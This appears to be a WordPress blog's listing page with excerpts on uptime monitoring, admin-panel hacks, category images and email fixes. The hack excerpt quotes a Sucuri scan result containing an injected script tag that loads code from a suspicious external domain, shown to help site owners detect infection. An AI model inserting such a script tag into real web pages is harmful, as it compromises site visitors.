Monitor Your Website(s) From Google Docs, and Find Out Some Very Interesting Things!

I came across a couple of posts recently which showed me how to monitor my website uptime using Google Docs. They both work great, one is for a single site. That is suffucient for many users, and you can use multiple copies, 1 to monitor each site. The next one is inspired by the first, but allows for multiple sites in a single sheet. These are fantastic tools that set up easily. Check it out:

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Admin Panel All Jacked Up? Check for a Hack

So I was looking through Google Reader, and this post went by from Jeffro over on WP Tavern. This was all news to me, so I clicked his source link over on Securi.net. Which got me a bit interested. I had seen a lot of issues on the WP forums lately about wonky admin panels and I wondered if they were related. Turns out that, at least the ones I check, are related. I’m finding script injections in the source code of the sites I check. So if your admin panel has gone bad, please scan your site here. If you find you have issues, check out Jan’s advice here, 4 posts down. Good luck!

If your site is bad on securi, the result will look like:

Suspicious domain detected.
Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
<script src="dph00illi.rr.nu/nl.php?p=d"></script>
 

Reader Request – Use Category Slug Based Images for Posts

One of our VoodooPress readers had a question recently. Seems they were using the front end posting form we started talking about here. They became concerned that allowing users to upload new images for every post using this technique would soon fill their hosting allotment. That’s a valid concern. Let’s look at one possible technique here.

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Send Your WordPress Email From YOU, and Other Email Fixes

I recently came across a problem where none of my emails were getting through to anyone, even me. Registration, comments, forms, etc. They were all hosed up. I’ve got a couple of tricks for you here that fixed things for me. This helped normal WordPress emails, Contact Form 7, Gravity Forms, etc. First I’ll show you how to send your email from YOU, not wordpress@domain.com, then I’ll tell you what else I did that may be host specific.

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